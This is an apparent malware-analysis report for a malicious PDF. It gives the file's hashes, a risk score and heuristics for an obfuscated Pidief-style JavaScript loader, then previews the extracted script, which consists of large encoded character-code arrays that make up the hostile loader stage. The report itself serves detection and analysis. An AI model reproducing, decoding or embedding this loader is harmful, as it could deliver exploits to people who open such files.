Malicious PDF / .TXT — malware analysis report

Static analysis result for SHA-256 44fd3e07ffb5a5ae…

MALICIOUS

PDF / .TXT

11.4 KB First seen: 2026-05-10
MD5: 68fcff1278c86343bec8f951e511494b SHA-1: 1e18b80b9d8f245b7c3eae3cd9f68bf23f1a4b1f SHA-256: 44fd3e07ffb5a5ae6d5ecbf2d68c1496a002b3831b37e49f686b4b3cd62a357d
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0087_000.js pdf-javascript-stream PDF /JS object 87 at offset 0x105 27751 bytes
SHA-256: b93a68e5d7669fa6ebe162f6126823e6788da53315993e89152ceab1b331aa51
Preview script
First 1,000 lines of the extracted script
S7aECkq1NF35=[58,108,123,104,58,118,83,107,77,35,116,40,110,39,56,115,52,51,118,116,116,105,58,58,106,121,58,111,69,104,124,58,117,98,127,127,110,50,99,115,116,123,58,54,115,99,97,99,104,124,40,127,114,38,49,109,114,33,118,48,110,118,123,116,97,104,105,106,50,106,52,115,116,99,106,127,99,115,118,105,105,39,50,42,104,33,127,110,123,99,125,51,39,121,105,111,103,106,105,123,104,40,104,106,123,116,116,104,51,110,54,118,110,99,123,125,111,104,105,120,104,103,53,105,108,115,105,116,116,97,117,126,51,50,104,106,58,106,124,127,58,58,118,123,33,116,116,118,110,110,104,115,123,58,39,111,126,104,117,121,46,127,63,114,127,111,63,58,50,116,106,70,56,41,111,127,111,105,42,63,42,89,111,41,46,63,123,127,41,121,89,63,88,111,105,34,88,46,111,91,111,63,111,42,111,63,34,34,88,63,42,63,88,44,111,42,42,34,89,46,111,47,35,45,34,34,94,46,42,45,94,41,42,63,46,42,89,34,91,63,91,43,42,45,88,63,111,46,111,42,43,63,34,34,89,34,89,63,111,63,111,95,111,47,88,44,46,47,111,63,111,63,34,63,88,40,91,46,40,94,111,63,88,63,88,34,92,95,40,41,88,47,111,63,111,47,89,95,41,63,40,95,111,95,111,41,46,34,111,34,89,95,35,45,111,34,111,63,111,47,91,63,47,45,88,47,45,47,111,42,44,63,41,47,111,34,88,63,44,92,111,63,41,63,88,63,111,63,44,63,46,47,34,34,41,89,111,41,42,63,41,45,111,46,42,92,35,45,111,63,41,63,95]; HNsdmN=[81,23,32,23,82,23,71,84,71,81,82,86,71,91,87,23,86,23,71,81,80,23,82,81,71,38,82,23,83,80,71,84,81,83,71,81,36,90,36,36,36,36,35,23,81,38,71,32,33,23,82,83,71,23,85,36,82,82,71,35,82,81,39,32,33,23,71,23,81,23,86,86,71,90,81,90,90,23,71,36,39,23,71,90,82,87,87,23,90,32,71,23,71,87,86,84,36,84,84,86,71,23,87,32,39,33,71,86,85,39,82,23,33,23,90,23,83,35,82,33,86,32,90,90,71,23,33,81,80,23,82,81,38,81,90,23,71,23,71,81,71,32,85,38,82,38,33,81,71,81,87,84,87,23,71,90,71,81,82,23,71,85,33,23,87,32,71,36,71,90,71,23,32,35,87,23,90,82,87,39,81,35,87,23,81,23,71,80,71,82,35,32,33,90,87,23,90,23,71,81,71,23,36,80,39,80,36,23,71,36,90,36,36,80,71,36,71,23,35,23,91,39,35,85,32,90,71,90,84,23,36,87,84,23,86,39,36,90,71,32,85,23,84,23,80,23,71,87,71,23,71,82,71,36,84,33,71,23,71,84,71,23,71,23,71,32,91,90,87,35,71,84,32,23,71,82,84,90,84,36,80,87,35,23,84,86,71,39,84,86,82,23,90,23,39,82,85,36,71,86,84,33,90,90,85,23,87,39,84,23,36,39,87,38,86,33,71,23,71,39,84,23,71,80,32,87,82,90,71,82,84,23,71,82,71,87,81,82,87,81,71,84,91,39,87,32,71,86,39,82,82,23,71,23,87,23,33,23,90,81,87,23,87,36,82,23,32,23,90,23,33,81,81]; z9YfFz6Cj=[13,13,75,27,14,27,12,27,12,11,6,9,14,11,75,27,12,6,8,125,120,12,120,27,15,11,75,15,124,11,120,13,6,27,13,11,10,9,11,120,75,6,75,120,120,27,127,11,75,7,75,27,75,27,123,27,8,124,6,120,75,123,75,27,75,27,9,27,75,124,14,27,127,120,75,27,123,27,6,14,75,27,123,27,10,27,75,8,10,11,120,11,11,27,9,120,10,125,75,12,14,14,14,123,12,9,7,9,75,12,75,14,75,8,120,27,75,27,120,9,10,13,11,9,127,27,120,11,75,27,6,27,11,8,75,9,14,27,13,9,75,27,13,12,123,9,122,8,75,8,75,9,13,27,11,9,75,8,10,27,75,9,120,27,120,27,15,8,15,8,120,8,75,8,75,27,75,12,75,27,10,9,14,27,10,27,123,9,75,12,123,8,125,13,75,8,6,9,123,12,120,8,125,12,14,9,120,27,13,8,120,9,120,27,11,8,120,13,14,27,75,8,75,8,9,98,28,10,9,122,9,8,27,92,27,75,9,75,8,14,11,123,8,75,30,93,27,10,27,85,95,22,30,14,9,75,30,91,27,14,93,75,82,78,8,76,95,3,77,23,91,81,5,14,93,72,14,75,80,27,95,5,112,98,28,75,109,75,14,75,125,93,27,76,109,93,14,93,95,93,88,121,122,95,30,23,89,98,28,71,72,93,120,75,95,14,27,114,108,75,14,68,14,93,14,98,28,100,30,22,95,27,77,27,80,113,75,14,30,14,93,14,75,27,93,3,93,75,93,14,93,14,15,14,91,91,93,78,93,14,91,14,75,14,75,27,93,14,93,10,93,27,6]; p1F6to=[37,100,36,100,52,114,52,36,33,114,33,114,37,114,52,37,39,100,52,119,52,41,33,100,38,40,52,117,39,100,37,112,52,100,52,34,37,100,37,116,36,100,37,35,37,115,52,115,37,100,39,100,38,100,39,40,36,32,52,40,36,100,39,39,37,32,52,100,38,40,37,100,52,40,52,37,38,100,38,117,52,100,52,112,38,117,36,32,37,35,52,35,52,112,39,100,36,116,37,119,52,100,39,112,52,115,52,35,37,100,37,116,52,34,39,36,39,32,39,100,52,100,52,33,52,100,37,100,52,100,52,39,37,100,39,100,37,34,36,100,52,32,36,100,36,34,37,34,37,35,52,117,36,38,38,37,38,100,36,100,52,39,114,125,36,34,36,126,77,51,101,125,35,52,38,39,102,36,32,42,38,121,122,38,56,125,115,63,116,118,120,38,34,35,33,57,114,45,49,114,114,114,127,39,122,44,41,122,115,49,58,114,115,56,44,116,126,99,122,125,98,125,115,126,125,121,122,115,60,61,116,42,49,114,33,44,120,125,126,63,125,49,125,63,101,35,38,121,118,121,126,100,56,102,115,57,98,104,116,118,124,98,49,125,127,104,44,116,99,120,34,127,99,39,41,127,105,126,120,49,44,56,124,42,57,58,126,117,33,33,101,80,112,33,33,120,49,99,42,116,57,56,116,119,58,42,126,122,74,99,49,33,114,126,117,120,124,115,76,44,121,116,42,126,49,116,114,35,125,125,49,116,99,126,42,104,125,58,124,106,45,98,127,83,112,68,117,97,88,108,120,127,99,57,63,97,107,125,100,101,125,75,121,120,123,69,65,102,73,101,114,99,124]; Z5PaOV165dv=[87,116,104,108,18,108,18,120,74,28,25,115,84,30,16,115,64,99,91,116,16,68,68,82,86,99,72,83,85,66,92,94,11,126,69,89,127,25,91,121,68,106,95,126,81,108,18,119,71,24,71,85,89,64,84,68,69,123,93,96,24,89,119,85,94,86,65,104,89,93,119,99,122,97,95,123,70,105,28,92,126,68,116,125,123,90,75,81,94,16,73,25,94,87,24,16,86,85,92,89,88,108,18,68,11,84,16,68,89,25,126,67,96,94,66,126,30,81,119,92,83,93,85,88,11,71,92,73,69,25,81,77,85,77,30,83,84,68,16,64,69,16,75,94,85,68,24,89,81,28,81,66,127,87,89,24,16,115,85,124,66,71,30,68,69,73,98,116,85,85,25,24,16,92,81,74,94,99,81,25,94,116,24,94,89,94,81,69,68,99,106,89,126,86,68,64,86,84,118,83,64,77,92,111,13,69,25,64,85,68,16,66,75,73,81,3,68,95,11,86,24,89,16,69,81,94,114,4,95,25,92,8,69,0,4,83,81,85,0,3,94,70,69,21,3,21,81,115,0,6,0,24,69,21,108,18,4,0,21,67,66,69,7,69,21,69,0,114,0,8,21,116,113,69,8,115,5,69,21,114,1,69,0,0,21,69,7,115,8,115,21,69,4,8,5,114,8,69,117,8,7,8,21,113,8,115,21,9,4,4,8,69,21,69,8,114,117,2,21,0,4,1,6,69,21,69,2,0,21,115,21,115,5,114,3,114,116,116,21,2,21,114,117,113,117,69,3,4,8,113,21,69,8,113,5,2,117,69,117,69,21,118,21,114,21,9,21,69,21,3,4,69,21]; x9sL8gQw=[38,102,17,100,103,118,38,107,101,102,100,102,38,102,38,118,96,107,101,118,16,96,102,102,17,100,38,96,17,99,96,107,103,102,99,21,96,118,38,97,101,99,99,118,96,100,38,103,96,107,101,100,38,118,38,118,96,96,96,21,38,99,38,118,96,118,107,118,21,16,38,102,38,18,23,21,106,118,17,118,38,96,101,99,38,118,38,96,103,103,21,118,38,21,96,99,106,118,98,99,38,103,38,118,38,17,22,99,38,96,38,22,107,96,97,99,23,98,96,22,38,100,107,102,22,118,21,118,99,21,38,118,103,102,98,118,18,16,17,100,38,16,38,16,21,118,17,118,38,99,103,118,38,21,107,107,102,118,101,103,17,101,107,103,38,97,101,99,38,118,102,107,17,118,96,22,17,107,38,118,38,118,107,102,96,118,38,107,38,23,38,107,38,118,96,118,99,99,96,16,18,99,101,102,16,99,16,100,23,102,103,98,100,107,96,102,97,118,96,102,107,17,21,102,96,118,38,118,18,118,96,16,21,118,38,118,17,96,38,118,38,18,17,118,21,118,107,118,97,16,22,102,38,99,38,118,107,118,23,118,21,22,18,21,38,118,38,21,17,107,97,21,38,18,100,101,99,118,38,96,107,21,38,17,97,16,101,118,38,103,22,101,22,17,38,118,102,100,107,101,38,21,38,118,99,118,38,118,107,18,101,101,38,18,102,106,17,97,21,107,38,106,97,97,38,22,16,101,17,107,21,118,99,101,107,101,18,118,107,101,38,101,38,118,38,102,103,101,38,118,38,118,22,99,22,118,38,101,38,107,38,118,23,99,22,118,99,118,38,102,38,103,38]; fw0483q=[122,117,14,125,122,117,120,56,15,11,120,120,104,14,11,56,117,14,120,123,123,8,116,121,104,125,14,8,14,121,120,56,8,125,125,127,104,120,117,124,104,121,120,15,120,56,104,126,104,126,104,126,104,120,104,56,126,56,104,56,104,125,104,56,104,117,15,127,122,126,120,56,104,125,120,11,127,11,120,56,11,127,126,11,104,56,124,121,126,123,117,125,122,11,104,117,104,56,120,122,125,56,104,15,120,56,116,56,11,12,104,120,104,11,117,117,11,8,120,56,15,126,104,122,104,120,126,8,120,56,11,56,125,11,14,12,123,8,120,121,104,11,104,121,104,56,120,125,125,56,104,117,15,56,104,56,104,123,11,56,122,56,104,56,8,125,127,56,8,56,104,121,104,117,104,12,122,11,126,56,123,120,122,125,125,121,104,56,123,126,123,127,122,56,127,11,122,120,123,126,122,8,123,125,104,116,127,56,127,121,104,56,123,126,123,8,122,56,104,11,104,56,122,8,122,120,127,56,104,9,122,121,104,124,122,56,122,56,104,56,123,11,123,121,104,11,123,56,123,14,123,56,104,125,123,56,127,11,104,56,127,11,123,11,104,56,123,121,123,124,122,56,122,8,126,121,104,11,122,9,104,117,126,126,122,56,104,56,122,125,118,59,104,14,122,126,120,56,104,56,44,11,104,61,40,123,56,61,122,125,123,125,104,15,12,125,12,124,123,100,123,125,112,104,104,56,56,125,123,104,34,101,44,125,12,46,35,63,17,111,104,109,40,12,125,62,61,12,35,56,56,63,104,61,125,37,118,12,17,111,100,125,17,111,44,44,34,47,125,59,46,35,125]; Qsd74o4x=[80,73,85,21,74,64,100,5,100,14,83,21,64,80,78,24,75,71,92,64,65,5,74,78,80,73,73,68,66,121,7,121,7,30,70,13,68,85,87,68,24,76,100,30,24,68,71,64,100,0,100,23,83,68,86,21,87,74,100,0,12,64,95,24,86,70,87,68,80,65,64,5,68,30,85,21,87,21,21,74,70,87,14,77,86,76,64,5,77,87,64,64,76,85,77,71,83,68,66,76,68,68,11,73,92,81,73,78,11,77,71,65,64,64,64,73,86,30,66,75,95,66,74,76,64,73,76,81,24,71,70,78,73,13,86,71,82,25,78,85,71,74,77,68,94,73,92,14,87,75,74,70,66,12,77,66,76,80,76,73,78,30,71,71,88,73,76,73,73,78,78,83,71,70,70,13,74,74,81,11,73,67,5,71,24,87,5,68,70,71,68,71,87,70,21,78,86,73,24,87,74,86,66,12,30,74,86,80,71,87,71,76,76,85,73,13,71,11,81,75,66,66,78,78,86,70,73,8,92,9,66,83,68,9,30,75,13,71,21,73,76,86,11,71,76,66,73,12,86,71,70,85,77,68,87,81,64,87,77,74,71,75,73,64,66,93,77,74,70,76,21,75,70,14,11,68,86,85,21,73,87,25,21,78,73,82,92,71,17,12,66,74,24,81,94,21,64,78,92,21,70,87,72,5,14,71,83,71,70,68,73,67,14,71,82,78,73,78,73,68,72,74,70,78,73,64,30,74,87,73,75,122,76,88,76,74,92,87,87,25,68,30,14,13,67,74,87,64,92,5,21,64,100,24,92,126,87,68,12,76,83,17,70,68,30,5,20,77,64,21,30,71,12]; iWWMn5kF=[102,58,115,41,4,98,96,41,112,54,58,107,52,56,123,50,32,53,98,54,48,55,58,43,58,54,41,112,6,41,105,102,38,98,52,50,99,98,57,55,48,99,98,99,99,99,98,98,46,98,98,45,98,99,99,99,98,98,98,99,98,98,99,98,102,99,99,98,98,106,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,111,47,99,99,99,47,99,114,50,115,41,55,117,43,99,99,53,126,53,110,99,50,107,119,46,96,107,46,99,107,7,121,99,61,99,54,50,46,58,58,61,7,121,50,55,38,55,56,123]; aih0RYq=[47,63,62,60,59,53,54,63,122,46,5,40,33,44,52,97,55,53,57,57,24,52,57,98,54,41,103,108,59,42,106,54,63,56,52,53,41,127,47,109,114,115,47,105,50,25,106,110,47,127,47,63,106,63,110,109,106,105,24,106,105,127,25,114,6,120,98,47,127,98,127,98,107,47,127,30,31,47,106,24,127,25,127,25,127,47,111,99,110,47,98,106,98,24,106,24,27,47,98,47,127,24,127,98,105,25,111,106,98,47,106,47,127,98,127,47,109,24,110,110,110,47,127,106,105,25,98,110,127,30,127,47,111,47,111,104,31,27,31,27,127,104,104,47,110,24,98,47,30,27,108,25,127,24,31,47,111,47,31,47,127,24,127,47,127,108,127,107,109,108,127,47,127,104,127,47,127,47,127,105,106,110,111,99,127,28,31,47,127,27,111,109,106,24,105,105,98,47,110,24,127,105,98,108,106,47,98,47,111,111,109,105,127,99,111,105,109,110,105,47,25,105,98,47,105,25,111,105,104,105,127,47,127,108,109,47,127,98,98,99,110,24,127,105,28,47,127,28,127,110,27,107,105,30,127,28,111,106,28,31,127,105,28,108,106,47,127,47,107,47,105,47,24,106,110,47,106,110,109,47,28,47,106,47,28,98,110,98,25,47,127,98,127,104,127,107,28,27,109,105,106,47,127,30,105,106,25,24,31,24,127,28,31,47,31,111,104,28,111,105,127,31,106,111,111,98,98,47,98,47,105,98,127,24,110,47,25,47,127,47,127,108,127,110,106,105,108,47,106,47,127,47,127,108,127,47,106,27,127,24,110,47,127,24,127,105,106,47,127,25,127,108,127]; sLA7b2D230=[100,41,87,41,34,32,83,52,82,33,33,41,100,36,85,36,37,85,35,82,80,36,100,33,100,36,100,36,34,52,100,52,38,36,34,38,41,41,85,52,41,82,100,52,84,52,34,41,100,83,87,52,34,83,100,52,80,80,41,87,35,87,100,36,100,34,87,52,38,87,100,87,35,52,100,82,87,52,84,52,39,84,83,39,87,41,100,80,100,52,100,80,100,52,35,35,84,52,41,52,33,34,100,39,83,37,41,41,100,40,33,87,39,82,83,36,33,39,41,84,36,52,33,39,36,39,37,52,36,38,80,39,83,52,100,39,100,83,35,52,41,40,41,39,84,52,100,52,100,80,100,39,82,39,41,38,100,52,100,52,84,52,41,39,82,33,82,38,100,52,84,52,87,83,84,41,87,35,85,87,100,52,100,84,84,36,36,52,37,39,100,37,100,36,33,36,100,36,36,33,33,41,100,36,100,52,100,40,37,52,34,38,39,36,33,36,100,82,33,52,83,34,100,33,35,52,34,82,100,52,35,52,37,52,100,52,32,52,34,34,87,36,34,38,100,82,36,52,35,36,100,33,41,32,87,41,100,52,87,52,41,35,100,83,100,41,100,52,33,52,84,34,41,52,33,36,100,87,100,52,39,83,100,87,80,52,83,36,100,40,84,52,38,34,37,52,34,87,36,33,87,82,38,36,100,36,41,52,37,33,100,84,37,52,100,87,39,83,33,52,84,36,87,87,33,36,100,52,100,41,100,84,87,52,80,33,41,39,100,52,87,39,100,52,36,38,37,38,100,34,34,52,100,52,37,39,34,39,87,38,87,52,100,36,80,38,40,52,84,38,33,35,100]; eK25Q685So6gvM=[38,100,38,100,38,84,39,33,35,84,38,32,52,100,38,35,35,100,39,36,38,34,39,100,52,100,52,36,52,37,35,87,39,33,39,87,52,87,35,85,39,100,52,37,52,37,39,100,52,87,38,100,35,33,52,87,52,82,52,100,39,41,38,100,38,37,39,87,35,33,39,100,38,100,52,32,52,37,38,39,39,87,38,100,39,100,52,84,52,100,34,33,34,34,39,100,52,82,39,85,38,33,52,33,52,100,39,100,99,103,44,87,39,99,49,83,112,99,38,99,78,102,39,32,36,124,112,127,116,104,49,124,42,56,52,112,77,51,114,33,103,99,34,49,44,116,99,112,80,99,99,33,44,112,103,33,114,42,114,33,104,57,33,125,56,114,114,49,117,37,33,42,116,112,105,116,116,33,44,125,105,49,99,33,114,114,35,112,125,33,98,125,103,33,125,116,112,117,99,59,33,127,121,127,103,101,58,116,114,42,63,44,78,126,127,49,117,56,78,98,112,112,41,57,44,125,117,33,116,127,49,99,118,34,112,100,98,42,105,99,42,104,98,97,127,114,112,103,60,117,121,99,100,125,119,98,33,57,104,116,112,112,77,51,40,116,40,98,97,98,40,100,127,97,52,33,77,51,33,44,56,114,99,52,112,120,44,42,33,49,57,78,114,33,105,112,33,126,99,40,116,99,56,35,114,117,61,104,103,112,120,127,62,33,100,37,101,101,33,97,105,42,114,33,100,127,103,57,119,42,101,42,112,114,42,56,99,57,33,127,114,114,60,112,126,78,117,126,100,126,100,35,127,126,33,49,99,58,114,127,124,45,99,99,99,126,101,44,112,112,117,104,44]; c024oEe9pyevh0W=[51,117,41,63,57,40,7,42,48,47,39,37,50,48,46,40,44,41,40,119,33,49,1,119,51,63,103,58,63,52,57,61,43,103,48,46,46,51,57,41,124,97,47,50,0,126,63,41,41,108,0,126,121,57,57,47,42,63,48,59,61,51,50,53,108,117,40,57,96,57,108,104,121,63,116,51,46,43,117,57,116,39,104,63,52,51,51,58,105,42,108,101,44,52,40,52,43,46,58,114,48,48,42,57,119,15,58,31,48,43,103,46,51,43,51,48,51,51,48,110,57,33,51,51,48,61,53,57,57,47,114,97,62,48,97,42,58,54,51,63,46,50,40,112,116,114,63,61,49,41,48,48,21,39,53,0,126,40,25,102,51,62,48,0,126,48,57,42,57,63,62,61,47,47,40,33,48,117,58,53,59,48,51,63,51,46,50,3,51,102,33,41,44,61,40,53,51,63,103,50,49,48,58,48,59,114,124,43,114,51,62,31,59,57,50,57,51,63,63,39,51,44,62,61,37,58,50,46,46,116,48,61,43,51,61,46,117,61,53,42,42,52,39,41,40,56,116,57,114,61,50,57,40,63,124,97,29,117,46,61,61,21,63,44,50,46,97,103,37,57,47,116,44,124,37,124,41,116,42,111,57,42,100,106,117,31,46,121,41,108,104,108,108,121,41,111,111,61,108,107,41,121,108,104,108,121,30,100,41,100,0,126,104,31,121,41,121,30,121,31,104,41,100,30,108,41,121,101,107,30,109,100,121,41,108,41,121,108,100,108,105,108,121,41,100,31,121,24,111,41,104,31,29,29,100,30,107,104,105,100,121,24,100,100,104,104,121,41,105,30,25,30,25]; x03k78uFG46AeK=[101,114,22,100,102,97,34,98,34,19,34,114,22,114,20,18,21,114,34,114,21,114,21,96,34,114,34,114,101,18,34,114,98,18,101,114,34,101,34,98,34,18,97,98,20,103,17,111,22,114,110,114,100,99,99,103,34,111,34,96,21,114,100,98,97,98,99,111,34,98,34,96,21,114,96,114,20,100,34,114,111,100,100,114,34,111,34,111,97,98,103,101,110,96,97,114,34,111,103,99,100,114,100,99,21,17,100,17,34,114,100,100,102,100,100,103,34,114,34,103,34,114,34,114,101,114,34,100,34,98,34,17,34,103,34,114,18,103,99,17,34,20,100,20,34,22,17,102,100,114,99,20,19,99,110,96,34,98,111,17,21,21,97,103,17,114,19,17,34,18,100,103,17,114,17,18,98,100,111,98,98,114,103,114,111,114,34,97,34,18,102,100,34,114,21,114,18,114,34,101,22,99,34,114,34,114,99,111,97,114,34,114,21,114,100,111,34,99,111,20,21,103,34,103,111,102,100,111,20,114,97,96,21,114,111,98,100,103,100,98,20,114,17,103,99,19,34,114,34,98,34,114,19,114,100,111,22,103,34,114,97,20,21,20,103,114,34,111,96,111,18,114,22,98,101,114,34,98,100,96,100,114,111,111,101,103,19,114,34,114,100,17,21,100,34,17,34,98,34,114,21,114,111,21,18,98,34,17,34,21,34,97,22,114,34,114,17,18,34,114,34,20,17,101,34,22,34,114,34,22,17,97,17,111,103,17,34,100,111,97,101,20,21,22,101,17,96,22,21,18,103,21,97,96,18,97,98,99,34,97,34,114,111,114,111,114,97,114,34,110,98,111,34]; yY6fh=[41,121,41,52,53,73,58,121,58,79,59,121,41,74,57,73,41,73,58,60,58,77,62,121,59,56,57,79,41,121,58,60,41,121,58,121,57,52,41,56,41,62,52,57,60,121,60,56,57,121,41,73,56,121,78,121,58,52,79,60,41,52,73,60,74,63,63,72,53,57,41,57,41,79,57,58,41,121,41,73,41,60,59,121,79,74,57,56,41,121,60,62,57,60,41,121,41,78,57,63,41,121,62,121,63,63,79,62,41,63,41,61,52,121,60,121,52,121,41,52,41,74,57,62,57,121,41,121,41,77,59,74,57,74,41,56,74,121,63,57,61,58,41,121,78,60,52,60,63,74,57,77,78,59,41,63,74,73,60,78,57,121,57,74,57,121,41,52,41,73,53,52,74,52,41,121,52,58,74,57,41,121,41,73,57,121,41,121,74,121,60,121,79,121,41,60,41,60,78,56,73,59,41,121,60,74,59,74,41,52,59,56,59,121,58,121,59,56,58,53,73,74,62,121,58,121,58,56,41,121,41,77,59,60,59,121,57,57,59,73,41,121,41,63,58,61,62,121,59,62,63,121,62,57,58,60,41,56,59,74,59,63,41,121,58,56,62,57,41,121,58,74,41,73,59,121,41,63,58,56,41,73,62,121,59,72,59,74,41,121,41,60,41,72,63,121,58,74,58,121,41,52,62,61,58,56,41,121,62,121,41,79,59,74,58,74,41,121,58,74,41,74,59,121,59,79,58,61,59,60,63,60,58,56,80,46,60,59,73,58,63,41,121,58,126,59,60,55,78,41,74,58,63,57,121,120,121,58,121,41,109,34,58,122,122,41,121,124,60,41,60,33,100]; nB9lpd6=[121,34,43,99,61,110,99,54,92,125,59,59,106,33,114,103,110,106,101,122,103,54,62,101,59,48,59,127,69,34,106,72,108,43,51,92,106,56,59,59,63,110,59,115,125,62,120,59,48,59,122,69,115,125,32,114,72,35,101,110,99,59,57,123,120,54,126,48,43,104,109,50,106,50,59,126,59,50,121,123,54,121,126,114,114,46,115,120,59,46,87,41,121,59,35,121,103,74,50,110,61,39,106,106,97,123,35,64,106,59,98,35,101,34,62,120,104,34,84,59,59,98,123,123,63,54,104,59,127,59,87,41,59,63,121,115,36,100,110,121,115,48,125,59,125,59,61,43,59,59,38,104,59,114,62,109,79,43,59,34,115,35,104,106,74,48,59,104,109,59,59,59,54,50,59,109,114,59,48,90,62,79,32,55,122,97,123,62,90,104,125,61,122,34,114,122,64,61,48,79,50,32,112,61,50,125,90,125,121,104,79,124,48,99,61,122,123,106,114,110,104,114,125,106,69,80,121,50,114,126,114,90,123,32,121,106,125,121,127,54,70,118,87,41,125,86,123,127,106,110,98,125,104,99,35,106,120,54,99,101,50,48,37,76,94,55,59,121,46,105,70,87,41,110,112,43,94,105,103,70,99,127,94,76,120,34,101,110,59,110,87,41,124,105,69,103,99,35,34,54,76,99,76,124,54,124,127,59,69,105,69,118,108,94,63,127,70,59,70,105,32,115,123,37,59,124,127,106,87,41,106,48,124,70,99,48,94,76,99,127,110,100,123,69,32,69,72,69,105,37,99,127,111,108,124,76,94,103,103,34,94,118,104,37,118,69,37,70,66,127,99,34,98]; r2n12tjap5FT2=[95,94,83,75,122,82,123,108,83,95,72,20,94,7,82,120,78,85,72,83,74,93,28,20,89,28,89,18,120,78,108,122,74,89,85,71,85,73,82,83,106,108,74,1,78,83,78,18,120,89,90,75,1,74,93,74,89,76,76,78,78,79,82,76,111,19,82,85,83,83,79,85,96,96,72,82,21,7,79,7,82,83,93,18,78,89,89,72,78,79,91,89,120,20,21,99,82,20,85,95,82,28,125,78,27,27,91,93,69,19,82,83,78,79,75,80,74,89,93,1,74,28,85,93,74,89,78,16,78,93,78,78,93,83,95,79,125,93,85,79,78,20,78,72,95,83,69,18,125,83,82,12,21,16,20,84,74,78,85,78,20,84,7,89,82,78,20,18,125,85,93,78,90,72,93,72,74,84,82,21,85,69,78,13,21,26,21,14,78,1,93,82,93,16,26,89,83,79,69,85,1,93,95,79,97,18,21,12,12,20,64,93,103,4,79,78,85,64,20,74,20,1,99,97,78,103,78,21,93,78,82,20,1,85,74,99,99,74,93,83,103,93,83,83,74,78,0,13,78,13,97,1,1,93,13,26,85,103,82,82,26,78,69,69,93,99,14,78,93,79,78,93,79,97,80,4,85,90,78,93,20,90,21,20,72,78,71,65,12,21,20,99,72,64,82,85,7,83,78,79,76,15,85,82,69,20,12,73,85,103,78,99,0,97,74,93,93,93,78,21,21,103,64,83,69,82,74,93,79,26,93,99,93,74,82,1,93,78,26,97,1,85,83,78,14,26,78,93,26,79,85,69,85,93,14,78,99,78,4,74,93,83,78,85,81,93,83,69,79,82,99,0,95]; C09h7BTnP=[73,18,7,90,90,96,9,87,73,102,84,90,10,73,18,82,18,66,72,100,94,90,64,82,87,102,70,71,93,85,89,0,19,73,100,77,90,19,87,18,71,19,90,96,102,11,82,85,29,73,19,84,73,77,100,6,2,90,96,90,90,7,73,66,66,29,90,100,73,73,84,82,96,11,72,90,18,94,102,73,88,10,77,96,79,72,18,82,87,0,85,90,64,88,92,102,85,2,90,79,127,73,7,100,107,19,73,19,73,125,6,75,27,27,70,19,27,18,10,107,84,87,127,27,70,27,89,107,27,0,95,27,27,84,85,27,27,82,125,0,27,27,27,27,27,27,18,27,27,127,27,27,27,27,27,27,18,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,27,25,0,27,77,90,73,27,72,114,110,126,122,81,8,11,86,6,87,114,74,108,2,85,9,79,21,72,75,87,82,79,19,25,25,18,0,27,77,90,73,27,114,3,14,114,116,12,108,119,81,73,6,13,14,10,14,0,27,77,90,73,27,124,108,97,67,12,113,89,13,6,2,0,27,77,90,73,27,120,15,11,13,85,109,81,109,6,85,94,76,27,122,73,73,90,66,19,8,23,3,23,13,23,8,23,9,23,2,23,3,23,14,23,8,18,0,27,77,90,73,27,114,117,97,98,110,84,65,93,11,23,107,66,12,87,127,105,86,10,11,23,125,115,15,114,65,14,72,3,9,23,108,95,15,119,8,94,106,89,125,92,106,85,23,85,14,99,113,67,99,14,23,65,3,87,67,99,23,84,118,118,12,79,67]; bq23q7thwC1Q738=[59,53,104,97,124,46,38,94,119,57,98,74,92,99,63,62,51,62,53,46,94,119,57,98,74,92,99,63,62,50,73,89,84,118,57,68,108,56,53,46,94,119,57,98,74,92,99,63,62,37,37,39,46,46,117,46,46,46,46,46,46,120,111,124,46,88,126,94,60,60,57,122,95,59,116,51,77,58,62,56,96,88,100,88,85,94,119,57,98,74,92,99,63,62,83,36,60,53,46,46,46,46,120,111,124,46,125,62,56,95,100,105,57,57,51,71,54,59,71,65,57,89,66,100,124,43,88,126,94,60,60,57,122,95,59,116,53,46,46,46,46,120,111,124,46,92,95,97,74,89,67,56,90,63,121,55,73,72,51,71,54,59,71,65,57,89,66,100,124,35,125,62,56,95,100,105,57,57,53,46,46,46,46,120,111,124,46,116,119,118,108,121,94,60,65,60,93,124,105,54,51,92,95,97,74,89,67,56,90,63,121,55,73,72,33,88,126,94,60,60,57,122,95,59,116,53,46,46,46,46,120,111,124,46,67,55,97,62,96,86,102,109,126,51,116,119,118,108,121,94,60,65,60,93,124,105,54,36,77,58,62,56,96,88,100,88,85,94,119,57,98,74,92,99,63,62,83,53